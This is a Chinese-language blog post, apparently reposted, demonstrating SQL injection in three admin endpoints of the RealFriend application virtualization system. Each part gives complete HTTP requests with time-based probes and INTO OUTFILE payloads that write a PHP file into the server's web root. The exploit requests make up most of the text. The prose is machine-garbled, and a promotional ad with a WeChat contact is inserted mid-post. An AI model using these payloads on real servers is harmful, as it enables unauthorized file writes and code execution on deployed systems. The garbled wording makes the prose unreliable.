瑞友天翼应用虚拟化系统SQL注入毛病

最近网上公开了一些瑞友天翼应用虚拟化系统的 SQL 注入毛病，颠末挖掘发现，还存在一些背景 SQL 注入毛病。
重点关注传入参数可控而且拼接到 SQL 语句中的代码。

​
getappicon

[img=720,255.49763033175356]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611179.png?imageMogr2/format/webp[/img]

​
首先检测了登录状态，然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。

1. GET /hmrao.php?s=/Admin/getappicon/&id=1');SELECT+SLEEP(5)+AND('1 HTTP/1.1
2. Host: 192.168.222.145
3. Upgrade-Insecure-Requests: 1
4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6. Referer: http://192.168.222.145/hmrao.php
7. Accept-Encoding: gzip, deflate
8. Accept-Language: zh-CN,zh;q=0.9
9. Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
10. Connection: close
11. ​
12. ​

复制代码

[img=720,321.9718309859155]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611181.png?imageMogr2/format/webp[/img]

​
我们打印出实验的 SQL 语句，发现成功闭合 SQL。

1. GET /hmrao.php?s=/Admin/getappicon/&id=1');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test1.php%27%23 HTTP/1.1
2. Host: 192.168.222.145
3. Upgrade-Insecure-Requests: 1
4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6. Referer: http://192.168.222.145/hmrao.php
7. Accept-Encoding: gzip, deflate
8. Accept-Language: zh-CN,zh;q=0.9
9. Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
10. Connection: close
11. ​

复制代码

[img=720,320.625]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611182.png?imageMogr2/format/webp[/img]

​
成功将文件写到根目次下。

[img=720,129.94082840236686]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611183.png?imageMogr2/format/webp[/img]

​
‍

[img=720,244.64088397790056]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611184.png?imageMogr2/format/webp[/img]

​
useredit

[img=720,495.53956834532374]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611185.png?imageMogr2/format/webp[/img]

​
首先检测了登录状态，然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。
【----帮助网安学习，以下所有学习资料免费领！加vx：dctintin，备注 “博客园” 获取！】
　① 网安学习成长路径思维导图
　② 60+网安经典常用工具包
　③ 100+SRC毛病分析报告
　④ 150+网安攻防实战技术电子书
　⑤ 最权威CISSP 认证考试指南+题库
　⑥ 超1800页CTF实战技巧手册
　⑦ 最新网安大厂面试题合集（含答案）
　⑧ APP客户端安全检测指南（安卓+IOS）
我们看到这里检测登录状态的函数是 adminchecklogin

[img=720,353.6210813266697]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611186.png?imageMogr2/format/webp[/img]

​
这里进行检测时会根据路由 sessId 来进行检测，所有需要将cookie 拼接在路由器上。

1. GET /hmrao.php?s=/Admin/useredit/sessId/c3gnn42nnfafaei5im0ti44tp2&uid=1');SELECT+SLEEP(5)%23 HTTP/1.1
2. Host: 192.168.222.145
3. Upgrade-Insecure-Requests: 1
4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6. Referer: http://192.168.222.145/hmrao.php
7. Accept-Encoding: gzip, deflate
8. Accept-Language: zh-CN,zh;q=0.9
9. Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
10. Connection: close

复制代码

[img=720,320.0625]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611187.png?imageMogr2/format/webp[/img]

​

1. GET /hmrao.php?s=/Admin/useredit/sessId/c3gnn42nnfafaei5im0ti44tp2&uid=1');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test2.php%27%23 HTTP/1.1
2. Host: 192.168.222.145
3. Upgrade-Insecure-Requests: 1
4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6. Referer: http://192.168.222.145/hmrao.php
7. Accept-Encoding: gzip, deflate
8. Accept-Language: zh-CN,zh;q=0.9
9. Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
10. Connection: close

复制代码

[img=720,323.56389214536927]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611188.png?imageMogr2/format/webp[/img]

​
成功将文件写到根目次下。

[img=720,226.08695652173913]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611189.png?imageMogr2/format/webp[/img]

​
‍

[img=720,275.08209851822187]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611191.png?imageMogr2/format/webp[/img]

​
appedit

[img=720,320.23789294817334]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611192.png?imageMogr2/format/webp[/img]

​
首先检测了登录状态，然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。
这里检测登录状态的函数同样也是 adminchecklogin
所以也需要将cookie 拼接在路由中。

1. GET /hmrao.php?s=/Admin/appedit/sessId/c3gnn42nnfafaei5im0ti44tp2&id=0');select+sleep(5)%23 HTTP/1.1
2. Host: 192.168.222.145
3. Upgrade-Insecure-Requests: 1
4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6. Referer: http://192.168.222.145/hmrao.php
7. Accept-Encoding: gzip, deflate
8. Accept-Language: zh-CN,zh;q=0.9
9. Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
10. Connection: close
11. ​

复制代码

[img=720,322.59375]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611193.png?imageMogr2/format/webp[/img]

​

1. GET /hmrao.php?s=/Admin/appedit/sessId/c3gnn42nnfafaei5im0ti44tp2&id=0');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test.php%27%23 HTTP/1.1
2. Host: 192.168.222.145
3. Upgrade-Insecure-Requests: 1
4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6. Referer: http://192.168.222.145/hmrao.php
7. Accept-Encoding: gzip, deflate
8. Accept-Language: zh-CN,zh;q=0.9
9. Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
10. Connection: close
11. ​
12. ​

复制代码

[img=720,321.46875]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611194.png?imageMogr2/format/webp[/img]

​
成功将文件写到根目次下。

[img=720,181.36807817589576]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611195.png?imageMogr2/format/webp[/img]

​

[img=720,227.3983418870904]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407021611196.png?imageMogr2/format/webp[/img]

更多网安技能的在线实操训练，请点击这里>>​
‍  

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。